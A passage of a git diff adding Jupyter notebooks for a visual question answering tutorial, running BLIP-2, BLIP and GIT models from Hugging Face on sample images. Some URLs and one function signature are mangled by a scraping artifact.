+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (10): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (crossattention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (11): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "      )\n",
+       "    )\n",
+       "  )\n",
+       "  (language_projection): Linear(in_features=768, out_features=2560, bias=True)\n",
+       "  (language_model): OPTForCausalLM(\n",
+       "    (model): OPTModel(\n",
+       "      (decoder): OPTDecoder(\n",
+       "        (embed_tokens): Embedding(50272, 2560, padding_idx=1)\n",
+       "        (embed_positions): OPTLearnedPositionalEmbedding(2050, 2560)\n",
+       "        (final_layer_norm): LayerNorm((2560,), eps=1e-05, elementwise_affine=True)\n",
+       "        (layers): ModuleList(\n",
+       "          (0-31): 32 x OPTDecoderLayer(\n",
+       "            (self_attn): OPTAttention(\n",
+       "              (k_proj): Linear(in_features=2560, out_features=2560, bias=True)\n",
+       "              (v_proj): Linear(in_features=2560, out_features=2560, bias=True)\n",
+       "              (q_proj): Linear(in_features=2560, out_features=2560, bias=True)\n",
+       "              (out_proj): Linear(in_features=2560, out_features=2560, bias=True)\n",
+       "            )\n",
+       "            (activation_fn): ReLU()\n",
+       "            (self_attn_layer_norm): LayerNorm((2560,), eps=1e-05, elementwise_affine=True)\n",
+       "            (fc1): Linear(in_features=2560, out_features=10240, bias=True)\n",
+       "            (fc2): Linear(in_features=10240, out_features=2560, bias=True)\n",
+       "            (final_layer_norm): LayerNorm((2560,), eps=1e-05, elementwise_affine=True)\n",
+       "          )\n",
+       "        )\n",
+       "      )\n",
+       "    )\n",
+       "    (lm_head): Linear(in_features=2560, out_features=50272, bias=False)\n",
+       "  )\n",
+       ")"
+      ]
+     },
+     "execution_count": 5,
+     "metadata": {},
+     "output_type": "execute_result"
+    }
+   ],
+   "source": [
+    "model.to(device)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 6,
+   "id": "458a2709-b904-49af-8f10-41905e1cfdc8",
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "import urllib.parse as parse\n",
+    "import os\n",
+    "\n",
+    "# a function to determine whether a string is a URL or not\n",
+    "def is_url(https://github.com/string):\n",
+    "    try:\n",
+    "        result = parse.urlparse(string)\n",
+    "        return all([result.scheme, result.netloc, result.path])\n",
+    "    except:\n",
+    "        return False\n",
+    "    \n",
+    "# a function to load an image\n",
+    "def load_image(image_path):\n",
+    "    if is_url(https://github.com/image_path):\n",
+    "        return Image.open(requests.get(image_path, stream=True).raw)\n",
+    "    elif os.path.exists(image_path):\n",
+    "        return Image.open(image_path)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 7,
+   "id": "af353956-7f42-43b3-bd5a-c720078e8a65",
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "raw_image = load_image(\"http://images.cocodataset.org/test-stuff2017/000000007226.jpg/")"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 21,
+   "id": "bce7e019-d042-4f3d-9fc0-32617257f03c",
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "question = \"a\"\n",
+    "inputs = processor(raw_image, question, return_tensors=\"pt\").to(device, dtype=torch.float16)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 22,
+   "id": "8d989e92-71ed-438d-9150-31589ba00fb1",
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      " vintage car driving down a street\n",
+      "\n"
+     ]
+    }
+   ],
+   "source": [
+    "out = model.generate(**inputs)\n",
+    "print(processor.decode(out[0], skip_special_tokens=True))"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 24,
+   "id": "d27e36e1-14bc-4535-9397-d716458594ea",
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "question = \"a vintage car driving down a street\"\n",
+    "inputs = processor(raw_image, question, return_tensors=\"pt\").to(device, dtype=torch.float16)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 25,
+   "id": "ebeea2b5-7b4d-4ef4-a2dc-c06876897361",
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      " with a man in the back seat\n",
+      "\n"
+     ]
+    }
+   ],
+   "source": [
+    "out = model.generate(**inputs)\n",
+    "print(processor.decode(out[0], skip_special_tokens=True))"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 25,
+   "id": "b095054a-f62e-4b2e-b3af-6a5d69dae581",
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "question = \"Question: What is the estimated year of these cars? Answer:\"\n",
+    "inputs = processor(raw_image, question, return_tensors=\"pt\").to(device, dtype=torch.float16)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 26,
+   "id": "ebd05f34-0d2e-46bd-a742-aca57138fb54",
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      " The cars are from the early 1900's\n",
+      "\n"
+     ]
+    }
+   ],
+   "source": [
+    "out = model.generate(**inputs)\n",
+    "print(processor.decode(out[0], skip_special_tokens=True))"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 87,
+   "id": "7f16721e-cc71-4c5f-b352-920381177b06",
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "question = \"Question: What is the color of the car? Answer:\"\n",
+    "inputs = processor(raw_image, question, return_tensors=\"pt\").to(device, dtype=torch.float16)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 88,
+   "id": "4e49e1aa-6260-49a6-a7ed-67e356591948",
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      " Green\n",
+      "\n"
+     ]
+    }
+   ],
+   "source": [
+    "out = model.generate(**inputs)\n",
+    "print(processor.decode(out[0], skip_special_tokens=True))"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "id": "373c0776-1c53-467a-b9c4-afdc71702ef2",
+   "metadata": {},
+   "outputs": [],
+   "source": []
+  }
+ ],
+ "metadata": {
+  "kernelspec": {
+   "display_name": "Python 3 (ipykernel)",
+   "language": "python",
+   "name": "python3"
+  },
+  "language_info": {
+   "codemirror_mode": {
+    "name": "ipython",
+    "version": 3
+   },
+   "file_extension": ".py",
+   "mimetype": "text/x-python",
+   "name": "python",
+   "nbconvert_exporter": "python",
+   "pygments_lexer": "ipython3",
+   "version": "3.10.6"
+  }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 5
+}
diff --git a/machine-learning/visual-question-answering/VisualQuestionAnswering_PythonCodeTutorial.ipynb b/machine-learning/visual-question-answering/VisualQuestionAnswering_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..0c03acfb
--- /dev/null
+++ b/machine-learning/visual-question-answering/VisualQuestionAnswering_PythonCodeTutorial.ipynb
@@ -0,0 +1,6304 @@
+{
+  "cells": [
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "x6rzruZmaotA",
+        "outputId": "55c2cae1-5a4d-4cb5-f3d1-863ac0e98f86"
+      },
+      "outputs": [],
+      "source": [
+        "!pip install -qU transformers"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "HBn28oF_bApo"
+      },
+      "source": [
+        "# BLIP\n",
+        "\n"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "s_eFLXZ-bGtT"
+      },
+      "source": [
+        "- https://github.com/huggingface/transformers/blob/main/src/transformers/models/blip/modeling_blip.py\n",
+        "- https://huggingface.co/Salesforce/blip-vqa-base/tree/main"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "8PfNcIxYa8kz"
+      },
+      "outputs": [],
+      "source": [
+        "import requests\n",
+        "from PIL import Image\n",
+        "from transformers import BlipProcessor, BlipForQuestionAnswering\n",
+        "import torch"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "BXLVku3Jcjrm"
+      },
+      "outputs": [],
+      "source": [
+        "# load the image we will test BLIP on\n",
+        "img_url = 'https://storage.googleapis.com/sfr-vision-language-research/BLIP/demo.jpg'\n",
+        "image = Image.open(requests.get(img_url, stream=True).raw).convert('RGB')\n",
+        "image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 241,
+          "referenced_widgets": [
+            "4f70b3f18d12429cb3f6a8921a168c00",
+            "f74bcd4d2ab04c6cb3220c2fc64257b1",
+            "76a37f30e9004067b8ba520191d64ac0",
+            "f9d5339a3d464d18846f943017f90257",
+            "5bd2087051324e1db5ca06eb9c098d19",
+            "494a7d5322c84f08b713936633c10d8a",
+            "366f53d87c6c4b0aa6fd3d167f01c5c3",
+            "af0a3bf66e8e433db1bea3b41a0c052a",
+            "9075203ea622474883993bb09cb2636c",
+            "e0a6fa485edb419da6b4c33e6d45cd9f",
+            "946e33fee00f4c2aac6406ffe83c419c",
+            "8b64a23dfc724928a5d23c904dc1595f",
+            "0324f20083ee42268aac2e7dce294907",
+            "228cbb4147cb4fcdb21866278e8f218c",
+            "88243d6adfd04c9faa5732bafc1ae615",
+            "dad6452f3a87437fbf6b691f56614711",
+            "1a27d88a39e64a09bd7007e066be7caf",
+            "2c1891a4c26042c08956982391039dfe",
+            "92d4a3333635430a88cdc38ed8158f49",
+            "f0bf68a25bf7446282f00c22d1093208",
+            "4289a56219ec41acaafdb60d3b7d1360",
+            "8005f31a31ed48d8b1a3e912b3aed139",
+            "ff519a1b9a504a13899a49385b6b9564",
+            "72e9c18021664b9f812916541fc51c7a",
+            "4e9c85779ed3400a8d8b3f14f08770b6",
+            "b11a5cb28f474ba9bd6dc98f5772fcda",
+            "430fa54d746a4743bc162b8e835a093c",
+            "1d4dd1aae7c7452298706a60c84f901d",
+            "e6998fe4f2aa4ef595e9b30b794c5549",
+            "f83d235f098a428d9f6519bba64a385f",
+            "945160da858a439d90de50ffd671396a",
+            "c697ecf18cad4be6990af0899da9503c",
+            "64f4db4f35324cab9abab95c86307a89",
+            "51838f3af71a4535afed388649e691fe",
+            "acf34873eae8493fbf953b1a8a65e177",
+            "872540ef74d6459a99e4647d2a643176",
+            "bed467f249ca47ea8b3ea57cc365dd22",
+            "a5a8f2b461064eecad9cefa57eb89423",
+            "602461cd7b5c471394ee2920b067a8f6",
+            "c163abebb6434568ac10621f99dee880",
+            "4dd5e64fe44c495d8d8d912f0ac06b82",
+            "3b88701571a342b0abea71a105fed88b",
+            "54dc179584c241dea17f59f2b9e93f47",
+            "8a7d1c368a9548d0aecb6564d7aa1bb7",
+            "a97a2a99008f4ac6be1d6377d04504fa",
+            "b217d9ea08a14ff49d274fc2aea760f8",
+            "d500132d4c434179975a124e00c4cec3",
+            "312d2d503a0f47278b47c03ddef6109f",
+            "1edf085b64f24088bd70a6a6954c8156",
+            "3bee2b1a38cc4f68a614ac2460b45f37",
+            "400bbbc0ce6e42ad9f0916a428aeff83",
+            "3bc21fd430c3426283585a874ec1ce94",
+            "37dc882c932347788e668b941222f7a2",
+            "6aedd062950c4596b734f7a98a9cce9c",
+            "5a9aba83d9734e01902c5b9bcb534ac4",
+            "14c199d355824bcfb14460c8e786aa93",
+            "18dcfde5f4c042a08b76acca0e1a6db8",
+            "e9e7c07fa5544978840f4b5c24372ff0",
+            "27635f5481f1430f9e7ec0404f5c393b",
+            "b3c518bde5bc4a5bb2c2f6528d361cc0",
+            "20e7de8cc9e34728871e040e7fe9d80d",
+            "fb7358b3d7c84e058b333694d793ef98",
+            "2a334258549d49c7ab12ae3f07f69ea9",
+            "63994cb769ce402194b4a70ea1079a3d",
+            "8c5762e71db644cfac50336e5de12ec6",
+            "2c5f5b6d6ca04df4b2fc874fdf0ca83c",
+            "ce764110e55b47469fcd0e929808d801",
+            "0c59eab53a8649cf88ed55d135981e1a",
+            "6bfee089c2c6462daf9ccd9baae21cc3",
+            "5af7e60d5fe142f6a2fb59b92c19715b",
+            "06d45a612716458e84cff4dadacde353",
+            "9d9e48cd4d5f4a0c97d7f13d6e727c09",
+            "8f1974332d694edd968fe5bb9ecba070",
+            "1a5e688c08c747eaaf5ca99b9812eec1",
+            "89e75ba649f948e0aa1d458b9800b480",
+            "10bcc231a8ba4b809be9c7c6b95b5b53",
+            "a5506cc4b437400cbfff631c20110891"
+          ]
+        },
+        "id": "MJZHoYa6a8nJ",
+        "outputId": "020751ef-b433-468b-8c8a-a5ea1c9a83d6"
+      },
+      "outputs": [],
+      "source": [
+        "# load necessary components: the processor and the model\n",
+        "processor = BlipProcessor.from_pretrained(\"Salesforce/blip-vqa-base\")\n",
+        "model = BlipForQuestionAnswering.from_pretrained(\"Salesforce/blip-vqa-base\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "aEYmYsrCeB8m"
+      },
+      "outputs": [],
+      "source": [
+        "def get_answer_blip(model, processor, image, question):\n",
+        "    \"\"\"Answers the given question and handles all the preprocessing and postprocessing steps\"\"\"\n",
+        "    # preprocess the given image and question\n",
+        "    inputs = processor(image, question, return_tensors=\"pt\")\n",
+        "    # generate the answer (get output)\n",
+        "    out = model.generate(**inputs)\n",
+        "    # post-process the output to get human friendly english text\n",
+        "    print(processor.decode(out[0], skip_special_tokens=True))\n",
+        "    return"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "JVB65c-ra8rs",
+        "outputId": "5d1c01ef-6c53-42a9-eba9-82a687791d7e"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 1\n",
+        "question = \"how many dogs are in the picture?\"\n",
+        "get_answer_blip(model, processor, image, question)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "yE36DMXxa8yl",
+        "outputId": "88d2e84a-079a-4c8a-877c-4405f9d11757"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 2\n",
+        "question = \"how will you describe the picture?\"\n",
+        "get_answer_blip(model, processor, image, question)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "c2HiOLFLa809",
+        "outputId": "ff60422e-4741-40c8-c486-ad405aceb52a"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 3\n",
+        "question = \"where are they?\"\n",
+        "get_answer_blip(model, processor, image, question)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "dreS75cKrHeT",
+        "outputId": "11d4e51a-7821-48e5-cd94-005a8a39140b"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 4\n",
+        "question = \"What are they doing?\"\n",
+        "get_answer_blip(model, processor, image, question)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "Mu7OZMR1rR7Z",
+        "outputId": "70528cb7-e2ff-4a4a-db1b-f941d6745bb5"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 5\n",
+        "question = \"What the dog is wearing?\"\n",
+        "get_answer_blip(model, processor, image, question)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "8bBwZxCXa83E"
+      },
+      "outputs": [],
+      "source": [
+        "class BLIP_VQA:\n",
+        "    \"\"\"Custom implementation of the BLIP model. The code has been adapted from the official transformers implementation\"\"\"\n",
+        "\n",
+        "    def __init__(self, vision_model, text_encoder, text_decoder, processor):\n",
+        "        \"\"\"Initialize various objects\"\"\"\n",
+        "        self.vision_model = vision_model\n",
+        "        self.text_encoder = text_encoder\n",
+        "        self.text_decoder = text_decoder\n",
+        "        self.processor = processor\n",
+        "\n",
+        "    def preprocess(self, img, ques):\n",
+        "        \"\"\"preprocess the inputs: image, question\"\"\"\n",
+        "        # preprocess using the processor\n",
+        "        inputs = self.processor(img, ques, return_tensors='pt')\n",
+        "        # store the pixel values of the image, input IDs (i.e., token IDs) of the question and the attention masks separately\n",
+        "        pixel_values = inputs['pixel_values']\n",
+        "        input_ids = inputs['input_ids']\n",
+        "        attention_mask = inputs['attention_mask']\n",
+        "\n",
+        "        return pixel_values, input_ids, attention_mask\n",
+        "\n",
+        "\n",
+        "    def generate_output(self, pixel_values, input_ids, attention_mask):\n",
+        "        \"\"\"Generates output from the preprocessed input\"\"\"\n",
+        "\n",
+        "        # get the vision outputs (i.e., the image embeds)\n",
+        "        vision_outputs = self.vision_model(pixel_values=pixel_values)\n",
+        "        img_embeds = vision_outputs[0]\n",
+        "\n",
+        "        # create attention mask with 1s on all the image embedding positions\n",
+        "        img_attention_mask = torch.ones(img_embeds.size()[: -1], dtype=torch.long)\n",
+        "\n",
+        "        # encode the questions\n",
+        "        question_outputs = self.text_encoder(input_ids=input_ids,\n",
+        "                                             attention_mask=attention_mask,\n",
+        "                                             encoder_hidden_states=img_embeds,\n",
+        "                                             encoder_attention_mask=img_attention_mask,\n",
+        "                                             return_dict=False)\n",
+        "\n",
+        "        # create attention mask with 1s on all the question token IDs positions\n",
+        "        question_embeds = question_outputs[0]\n",
+        "        question_attention_mask = torch.ones(question_embeds.size()[:-1], dtype=torch.long)\n",
+        "\n",
+        "        # initialize the answers with the beginning-of-sentence IDs (bos ID)\n",
+        "        bos_ids = torch.full((question_embeds.size(0), 1), fill_value=30522)\n",
+        "\n",
+        "        # get output from the decoder. These outputs are the generated IDs\n",
+        "        outputs = self.text_decoder.generate(\n",
+        "            input_ids=bos_ids,\n",
+        "            eos_token_id=102,\n",
+        "            pad_token_id=0,\n",
+        "            encoder_hidden_states=question_embeds,\n",
+        "            encoder_attention_mask=question_attention_mask)\n",
+        "\n",
+        "        return outputs\n",
+        "\n",
+        "\n",
+        "    def postprocess(self, outputs):\n",
+        "        \"\"\"post-process the output generated by the text-decoder\"\"\"\n",
+        "\n",
+        "        return self.processor.decode(outputs[0], skip_special_tokens=True)\n",
+        "\n",
+        "\n",
+        "    def get_answer(self, image, ques):\n",
+        "        \"\"\"Returns human friendly answer to a question\"\"\"\n",
+        "\n",
+        "        # preprocess\n",
+        "        pixel_values, input_ids, attention_mask = self.preprocess(image, ques)\n",
+        "        # generate output\n",
+        "        outputs = self.generate_output(pixel_values, input_ids, attention_mask)\n",
+        "        # post-process\n",
+        "        answer = self.postprocess(outputs)\n",
+        "        return answer"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "WBxppK89bhZP"
+      },
+      "outputs": [],
+      "source": [
+        "blip_vqa = BLIP_VQA(vision_model=model.vision_model,\n",
+        "                    text_encoder=model.text_encoder,\n",
+        "                    text_decoder=model.text_decoder,\n",
+        "                    processor=processor)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "YyASdKlAbhbm",
+        "outputId": "060fd21d-2042-418e-88de-e87f4561671d"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 1\n",
+        "ques = \"how will you describe the picture?\"\n",
+        "print(blip_vqa.get_answer(image, ques))\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 217
+        },
+        "id": "BOErJNo1tG6-",
+        "outputId": "25b06783-738f-476e-b952-4d8e38e5aa7c"
+      },
+      "outputs": [],
+      "source": [
+        "# load another image to test BLIP\n",
+        "img_url = \"https://fastly.picsum.photos/id/11/200/200.jpg?hmac=LBGO0uEpEmAVS8NeUXMqxcIdHGIcu0JiOb5DJr4mtUI\"\n",
+        "image = Image.open(requests.get(img_url, stream=True).raw).convert('RGB')\n",
+        "image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "6c4X6eI4tG9N",
+        "outputId": "1c7c03d6-28c6-4cc3-9b30-4406410f5492"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 1\n",
+        "ques = \"Describe the picture\"\n",
+        "print(blip_vqa.get_answer(image, ques))\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "5fpA0TbVtHAq",
+        "outputId": "47ea2820-9ea0-4bf4-b9b7-45941b32ffbb"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 2\n",
+        "ques = \"What is the major color present?\"\n",
+        "print(blip_vqa.get_answer(image, ques))\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "5dEIccqnr-uF",
+        "outputId": "7816af8c-83f6-4fe8-e968-365ec732bd92"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 3\n",
+        "ques = \"How's the weather?\"\n",
+        "print(blip_vqa.get_answer(image, ques))"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "73gvmX-Tbk-s"
+      },
+      "source": [
+        "# GIT"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "7EwQAOq-cLH-"
+      },
+      "source": [
+        "- https://github.com/huggingface/transformers/blob/main/src/transformers/models/git/modeling_git.py\n",
+        "- https://huggingface.co/microsoft/git-base-textvqa"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "c4Lf7_G5bhju"
+      },
+      "outputs": [],
+      "source": [
+        "!pip install -qU transformers"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "qY1xeL1oa86Y"
+      },
+      "outputs": [],
+      "source": [
+        "from transformers import AutoProcessor, AutoModelForCausalLM\n",
+        "from huggingface_hub import hf_hub_download\n",
+        "from PIL import Image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 593,
+          "referenced_widgets": [
+            "7a2e3aab0a244cf099002a6064b5ce42",
+            "f58b27200af24c2eb76751b0bff84928",
+            "484c18d0f13148efa47e68dca92cfb48",
+            "60e84d9d72e94db9840aa03c7f15e3c3",
+            "65c7d970eca34f99a47528163a57b246",
+            "edaae38c2fe84bbd830d2cfcd793e2f5",
+            "1338c7844ec64171b0b6f50c6c2740ea",
+            "b2298da115e446eb8b129cf635bad729",
+            "3b8edfee45ef459c8ae1fc8c9ac7cbc9",
+            "20ec2d7af5444323acf5344e4f45a75e",
+            "e5264a161eff4d6484cbefc7ac38c20d"
+          ]
+        },
+        "id": "AgLuCbEyboLn",
+        "outputId": "5c14f355-95aa-4eaa-d3e4-524ff497a27c"
+      },
+      "outputs": [],
+      "source": [
+        "# load the image we will test GIT on\n",
+        "file_path = hf_hub_download(repo_id=\"nielsr/textvqa-sample\", filename=\"bus.png\", repo_type=\"dataset\")\n",
+        "image = Image.open(file_path).convert(\"RGB\")\n",
+        "image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 273,
+          "referenced_widgets": [
+            "c3bfbf522f884eb489410593b6b63abc",
+            "e95fea587b2a4f47a7b8b492db3e1ffc",
+            "b0dba09b02f142c485ce94ba887132b5",
+            "3dedecb37fdb44ceb07c6d1712c4e021",
+            "039c791cb44e42e29fce22b17e6aaeb2",
+            "e11444c22fa24360a293d4e6dad4ef3a",
+            "a4ae31365e3c4370bc2f7e7ce7fe27f9",
+            "65c79edaf8f844979f6d2cfdbded70e8",
+            "cc2dc3160f074fd8a457dcde77cfbc2b",
+            "5c0d9f5a3aa0473b9058fc33f28a9971",
+            "bedf96c9d0c94e7f9f723e4cec98ae8a",
+            "0754fa2f914f4c24a856e321a21319f5",
+            "4bd11779af5243f38a87aee67edeef37",
+            "2b1ac03b7948452faa1282e9f41b8069",
+            "e837565f047041b1b4fe58abe20b4860",
+            "35d468050abe416dbfe791ddf607ee6f",
+            "3b40e3e3b6a94c3a8f5c94d328c7ff8e",
+            "4c9915c0e224462c8381803ca2e404d3",
+            "ce9b5e9018ff4acfb9f59fcb04bdea22",
+            "b6bd97ac6f79431596f1d2e76cf80cc1",
+            "30c8f5bab4ac4beab39c0a282e6a3183",
+            "fa8c6a48412a46ed905d105a2cc4f073",
+            "da2eb9afc6214b7dbdb99bd38a05fedd",
+            "dd77bd4c656748869c4bd34f1ae74508",
+            "0fdfc064f7ac43e29f207cf8c01ebea4",
+            "b132e46fada74341aa52482f1b5f4240",
+            "9f16f63600454da5afdef84ef5afd59d",
+            "3a18c950c8da4cc2b7f3f79a9b91dea2",
+            "dbb37d88052b40f5aeeb1fbf2ab01be4",
+            "1f4f0aecfdfa423a8d219a7a9167b74c",
+            "70dc32700a9a4f268177a83cc2bdb29c",
+            "4c1a2f85fe2744fbbada089a46ac7f20",
+            "f9b7adc37082413f93053106e60eab4d",
+            "7fe5d5638c0c424e94cc8733fd79f5ab",
+            "dfa636e1fb524cf2ae3d6693fd128084",
+            "c4f1648bca844b0ba790a5990ae2170c",
+            "592bbbcf2fd14ed882f9a0adb56a57a3",
+            "8f363594b80e487494d0855f9ddde030",
+            "1dabddf490454df48032d8c05080fe95",
+            "878c5cc4315443018704910dcf37f154",
